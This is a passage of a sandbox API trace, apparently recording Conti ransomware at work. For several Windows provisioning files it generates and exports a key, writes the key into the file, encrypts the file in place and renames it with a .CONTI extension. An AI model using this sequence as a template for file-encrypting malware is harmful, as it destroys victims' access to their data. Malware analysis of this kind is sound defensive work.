	[0109.812] ReadFile (in: hFile=0x3ac, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x2c4, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x2c4, lpOverlapped=0x0) returned 1
	[0109.812] CryptEncrypt (in: hKey=0x6b7f3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x2c4, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x2d0) returned 1
	[0109.812] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.812] WriteFile (in: hFile=0x3ac, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x2d0, lpOverlapped=0x0) returned 1
	[0109.812] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.813] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b402d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x6b402d0*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0109.813] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.813] CloseHandle (hObject=0x3ac) returned 1
	[0109.813] GetProcessHeap () returned 0x1720000
	[0109.813] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0109.813] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\263__Connections_Cellular_U Mobile (Malaysia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\263__Connections_Cellular_U Mobile (Malaysia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\263__Connections_Cellular_U Mobile (Malaysia)_i0$(__MVID)@WAP.provxml"
	[0109.813] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\263__Connections_Cellular_U Mobile (Malaysia)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\263__Connections_Cellular_U Mobile (Malaysia)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\263__Connections_Cellular_U Mobile (Malaysia)_i0$(__MVID)@WAP.provxml.CONTI"
	[0109.813] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\263__Connections_Cellular_U Mobile (Malaysia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\263__connections_cellular_u mobile (malaysia)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\263__Connections_Cellular_U Mobile (Malaysia)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\263__connections_cellular_u mobile (malaysia)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0109.814] GetProcessHeap () returned 0x1720000
	[0109.814] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0109.814] CryptDestroyKey (hKey=0x6b7f3b8) returned 1
	[0109.814] GetProcessHeap () returned 0x1720000
	[0109.814] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b71f98 | out: hHeap=0x1720000) returned 1
	[0109.814] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0109.814] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x6b42e30 | out: phKey=0x6b42e30*=0x6b7f3b8) returned 1
	[0109.814] CryptExportKey (in: hKey=0x6b7f3b8, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b42e34, pdwDataLen=0x433f9bc | out: pbData=0x6b42e34*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0109.815] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\264__Connections_Cellular_Go Mobile (Malta)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\264__connections_cellular_go mobile (malta)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.815] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\264__Connections_Cellular_Go Mobile (Malta)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\264__connections_cellular_go mobile (malta)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0109.815] GetLastError () returned 0x0
	[0109.815] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=645) returned 1
	[0109.815] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x285
	[0109.815] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.815] SetEndOfFile (hFile=0x3ac) returned 1
	[0109.815] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.815] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.815] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b42e34*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x6b42e34*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0109.817] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.817] ReadFile (in: hFile=0x3ac, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x285, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x285, lpOverlapped=0x0) returned 1
	[0109.817] CryptEncrypt (in: hKey=0x6b7f3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x285, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x290) returned 1
	[0109.817] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.817] WriteFile (in: hFile=0x3ac, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x290, lpOverlapped=0x0) returned 1
	[0109.817] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.817] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b42e28*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x6b42e28*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0109.817] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.817] CloseHandle (hObject=0x3ac) returned 1
	[0109.818] GetProcessHeap () returned 0x1720000
	[0109.818] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0109.818] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\264__Connections_Cellular_Go Mobile (Malta)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\264__Connections_Cellular_Go Mobile (Malta)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\264__Connections_Cellular_Go Mobile (Malta)_i0$(__MVID)@WAP.provxml"
	[0109.818] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\264__Connections_Cellular_Go Mobile (Malta)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\264__Connections_Cellular_Go Mobile (Malta)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\264__Connections_Cellular_Go Mobile (Malta)_i0$(__MVID)@WAP.provxml.CONTI"
	[0109.818] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\264__Connections_Cellular_Go Mobile (Malta)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\264__connections_cellular_go mobile (malta)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\264__Connections_Cellular_Go Mobile (Malta)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\264__connections_cellular_go mobile (malta)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0109.818] GetProcessHeap () returned 0x1720000
	[0109.818] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0109.818] CryptDestroyKey (hKey=0x6b7f3b8) returned 1
	[0109.818] GetProcessHeap () returned 0x1720000
	[0109.818] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b71a78 | out: hHeap=0x1720000) returned 1
	[0109.818] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0109.819] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x6b43508 | out: phKey=0x6b43508*=0x6b7f3b8) returned 1
	[0109.819] CryptExportKey (in: hKey=0x6b7f3b8, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4350c, pdwDataLen=0x433f9bc | out: pbData=0x6b4350c*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0109.819] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\265__Connections_Cellular_Go Mobile (Malta)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\265__connections_cellular_go mobile (malta)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0109.819] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\265__Connections_Cellular_Go Mobile (Malta)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\265__connections_cellular_go mobile (malta)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0109.820] GetLastError () returned 0x0
	[0109.820] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=644) returned 1
	[0109.820] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x284
	[0109.820] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.820] SetEndOfFile (hFile=0x3ac) returned 1
	[0109.820] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.820] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.820] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b4350c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x6b4350c*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0109.822] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.822] ReadFile (in: hFile=0x3ac, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x284, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x284, lpOverlapped=0x0) returned 1
	[0109.822] CryptEncrypt (in: hKey=0x6b7f3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x284, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x290) returned 1
	[0109.822] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.822] WriteFile (in: hFile=0x3ac, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x290, lpOverlapped=0x0) returned 1
	[0109.822] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.822] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b43500*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x6b43500*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0109.822] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.822] CloseHandle (hObject=0x3ac) returned 1
	[0109.822] GetProcessHeap () returned 0x1720000
	[0109.822] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0109.823] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\265__Connections_Cellular_Go Mobile (Malta)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\265__Connections_Cellular_Go Mobile (Malta)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\265__Connections_Cellular_Go Mobile (Malta)_i1$(__MVID)@WAP.provxml"
	[0109.823] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\265__Connections_Cellular_Go Mobile (Malta)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\265__Connections_Cellular_Go Mobile (Malta)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\265__Connections_Cellular_Go Mobile (Malta)_i1$(__MVID)@WAP.provxml.CONTI"
	[0109.823] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\265__Connections_Cellular_Go Mobile (Malta)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\265__connections_cellular_go mobile (malta)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\265__Connections_Cellular_Go Mobile (Malta)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\265__connections_cellular_go mobile (malta)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0109.823] GetProcessHeap () returned 0x1720000
	[0109.823] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0109.823] CryptDestroyKey (hKey=0x6b7f3b8) returned 1
	[0109.823] GetProcessHeap () returned 0x1720000
	[0109.823] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b70ef0 | out: hHeap=0x1720000) returned 1
	[0109.823] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0109.823] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x6b41760 | out: phKey=0x6b41760*=0x6b7f0b8) returned 1
	[0109.823] CryptExportKey (in: hKey=0x6b7f0b8, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b41764, pdwDataLen=0x433f9bc | out: pbData=0x6b41764*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0109.824] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\266__Connections_Cellular_Vodafone Malta (Malta)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\266__connections_cellular_vodafone malta (malta)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.824] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\266__Connections_Cellular_Vodafone Malta (Malta)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\266__connections_cellular_vodafone malta (malta)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0109.825] GetLastError () returned 0x0
	[0109.825] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=851) returned 1
	[0109.825] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x353
	[0109.825] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.825] SetEndOfFile (hFile=0x3ac) returned 1
	[0109.825] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.825] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.825] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b41764*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x6b41764*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0109.827] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.827] ReadFile (in: hFile=0x3ac, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x353, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x353, lpOverlapped=0x0) returned 1
	[0109.827] CryptEncrypt (in: hKey=0x6b7f0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x353, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x360) returned 1
	[0109.827] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.827] WriteFile (in: hFile=0x3ac, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x360, lpOverlapped=0x0) returned 1
	[0109.827] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.827] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b41758*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x6b41758*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0109.827] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.827] CloseHandle (hObject=0x3ac) returned 1
	[0109.827] GetProcessHeap () returned 0x1720000
	[0109.827] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0109.828] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\266__Connections_Cellular_Vodafone Malta (Malta)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\266__Connections_Cellular_Vodafone Malta (Malta)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\266__Connections_Cellular_Vodafone Malta (Malta)_i0$(__MVID)@WAP.provxml"
	[0109.828] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\266__Connections_Cellular_Vodafone Malta (Malta)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\266__Connections_Cellular_Vodafone Malta (Malta)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\266__Connections_Cellular_Vodafone Malta (Malta)_i0$(__MVID)@WAP.provxml.CONTI"
	[0109.828] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\266__Connections_Cellular_Vodafone Malta (Malta)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\266__connections_cellular_vodafone malta (malta)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\266__Connections_Cellular_Vodafone Malta (Malta)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\266__connections_cellular_vodafone malta (malta)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0109.828] GetProcessHeap () returned 0x1720000
	[0109.828] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0109.828] CryptDestroyKey (hKey=0x6b7f0b8) returned 1
	[0109.828] GetProcessHeap () returned 0x1720000
	[0109.828] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b73e10 | out: hHeap=0x1720000) returned 1
